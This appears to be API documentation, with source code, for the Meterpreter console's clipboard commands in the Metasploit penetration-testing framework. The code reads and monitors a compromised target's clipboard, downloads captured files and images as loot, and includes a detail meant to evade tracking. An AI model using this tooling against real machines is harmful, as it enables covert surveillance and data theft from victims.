class Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard

Extended API window management user interface.

Constants

Klass

Public Instance Methods

cmd_clipboard_get_data(*args) click to toggle source

Get the data from the target's clipboard

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 60
def cmd_clipboard_get_data(*args)
  download_content = false
  download_path = nil
  @@get_data_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_content = true
      download_path = val
    when "-h"
      print_clipboard_get_data_usage
      return true
    end
  }

  dump = client.extapi.clipboard.get_data(download_content)

  if dump.length == 0
    print_error( "The current Clipboard data format is not supported." )
    return false
  end

  parse_dump(dump, download_content, download_content, download_path)
  return true
end
cmd_clipboard_monitor_dump(*args) click to toggle source

Dump the clipboard monitor contents to the local machine.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 282
def cmd_clipboard_monitor_dump(*args)
  purge = true
  download_images = true
  download_files = true
  download_path = nil

  @@monitor_dump_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_path = val
    when "-i"
      download_images = val.downcase != 'false'
    when "-f"
      download_files = val.downcase != 'false'
    when "-p"
      purge = val.downcase != 'false'
    when "-h"
      print_clipboard_monitor_dump_usage
      return true
    end
  }

  dump = client.extapi.clipboard.monitor_dump({
    :include_images => download_images,
    :purge          => purge
  })

  parse_dump(dump, download_images, download_files, download_path)

  print_good("Clipboard monitor dumped")
end
cmd_clipboard_monitor_pause(*args) click to toggle source

Pause the clipboard monitor captured contents

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 215
def cmd_clipboard_monitor_pause(*args)
  @@monitor_pause_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_monitor_pause_usage
      return true
    end
  }
  client.extapi.clipboard.monitor_pause
  print_good("Clipboard monitor paused successfully")
end
cmd_clipboard_monitor_purge(*args) click to toggle source

Purge the clipboard monitor captured contents

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 184
def cmd_clipboard_monitor_purge(*args)
  @@monitor_purge_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_monitor_purge_usage
      return true
    end
  }
  client.extapi.clipboard.monitor_purge
  print_good("Captured clipboard contents purged successfully")
end
cmd_clipboard_monitor_resume(*args) click to toggle source

resume the clipboard monitor captured contents

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 246
def cmd_clipboard_monitor_resume(*args)
  @@monitor_resume_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_monitor_resume_usage
      return true
    end
  }
  client.extapi.clipboard.monitor_resume
  print_good("Clipboard monitor resumed successfully")
end
cmd_clipboard_monitor_start(*args) click to toggle source

Start the clipboard monitor.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 140
def cmd_clipboard_monitor_start(*args)
  capture_images = true

  @@monitor_start_opts.parse(args) { |opt, idx, val|
    case opt
    when "-i"
      # default this to true
      capture_images = val.downcase != 'false'
    when "-h"
      print_clipboard_monitor_start_usage
      return true
    end
  }

  client.extapi.clipboard.monitor_start({
    # random class and window name so that it isn't easy
    # to track via a script
    :wincls  => Rex::Text.rand_text_alpha(8),
    :cap_img => capture_images
  })

  print_good("Clipboard monitor started")
end
cmd_clipboard_monitor_stop(*args) click to toggle source

Stop the clipboard monitor.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 338
def cmd_clipboard_monitor_stop(*args)
  dump_data = true
  download_images = true
  download_files = true
  download_path = nil

  @@monitor_stop_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_path = val
    when "-x"
      dump_data = val.downcase != 'false'
    when "-i"
      download_images = val.downcase != 'false'
    when "-f"
      download_files = val.downcase != 'false'
    when "-h"
      print_clipboard_monitor_stop_usage
      return true
    end
  }

  dump = client.extapi.clipboard.monitor_stop({
    :dump           => dump_data,
    :include_images => download_images
  })

  parse_dump(dump, download_images, download_files, download_path) if dump_data

  print_good("Clipboard monitor stopped")
end
cmd_clipboard_set_text(*args) click to toggle source

Set the clipboard data to the given text.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 101
def cmd_clipboard_set_text(*args)
  args.unshift "-h" if args.length == 0

  @@set_text_opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
      print_clipboard_set_text_usage
      return true
    end
  }

return client.extapi.clipboard.set_text(args.join(" "))
end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 21
def commands
  {
    "clipboard_get_data"       => "Read the target's current clipboard (text, files, images)",
    "clipboard_set_text"       => "Write text to the target's clipboard",
    "clipboard_monitor_start"  => "Start the clipboard monitor",
    "clipboard_monitor_pause"  => "Pause the active clipboard monitor",
    "clipboard_monitor_resume" => "Resume the paused clipboard monitor",
    "clipboard_monitor_dump"   => "Dump all captured clipboard content",
    "clipboard_monitor_purge"  => "Delete all captured cilpboard content without dumping it",
    "clipboard_monitor_stop"   => "Stop the clipboard monitor"
  }
end
name() click to toggle source

Name for this dispatcher

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 37
def name
  "Extapi: Clipboard Management"
end
print_clipboard_get_data_usage() click to toggle source
print_clipboard_monitor_dump_usage() click to toggle source

Help for the clipboard_monitor_dump command.

print_clipboard_monitor_pause_usage() click to toggle source

Help for the clipboard_monitor_pause command.

print_clipboard_monitor_purge_usage() click to toggle source

Help for the clipboard_monitor_purge command.

print_clipboard_monitor_resume_usage() click to toggle source

Help for the clipboard_monitor_resume command.

print_clipboard_monitor_start_usage() click to toggle source

Help for the clipboard_monitor_start command.

print_clipboard_monitor_stop_usage() click to toggle source

Help for the clipboard_monitor_stop command.

print_clipboard_set_text_usage() click to toggle source

Private Instance Methods

download_file( dest_folder, source ) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 372
def download_file( dest_folder, source )
  stat = client.fs.file.stat( source )
  base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source )
  dest = File.join( dest_folder, base )

  if stat.directory?
    client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
      print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
      client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
    }
  elsif stat.file?
    client.fs.file.download( dest, source ) { |step, src, dst|
      print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
      client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
    }
  end
end
parse_dump(dump, get_images, get_files, download_path) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb, line 390
def parse_dump(dump, get_images, get_files, download_path)
  loot_dir = download_path || "."
  if (get_images || get_files) && !::File.directory?( loot_dir )
    ::FileUtils.mkdir_p( loot_dir )
  end

  dump.each do |ts, elements|
    elements.each do |type, v|
      title = "#{type} captured at #{ts}"
      under = "=" * title.length
      print_line(title)
      print_line(under)

      case type
      when 'Text'
        print_line(v)

      when 'Files'
        total = 0
        v.each do |f|
          print_line("Remote Path : #{f[:name]}")
          print_line("File size   : #{f[:size]} bytes")
          if get_files
            download_file( loot_dir, f[:name] )
          end
          print_line
          total += f[:size]
        end

      when 'Image'
        print_line("Dimensions : #{v[:width]} x #{v[:height]}")
        if get_images and !v[:data].nil?
          file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
          path = File.join(loot_dir, file)
          path = ::File.expand_path(path)
          ::File.open(path, 'wb') do |x|
            x.write v[:data]
          end
          print_line("Downloaded : #{path}")
        end
      end
      print_line(under)
      print_line
    end
  end
end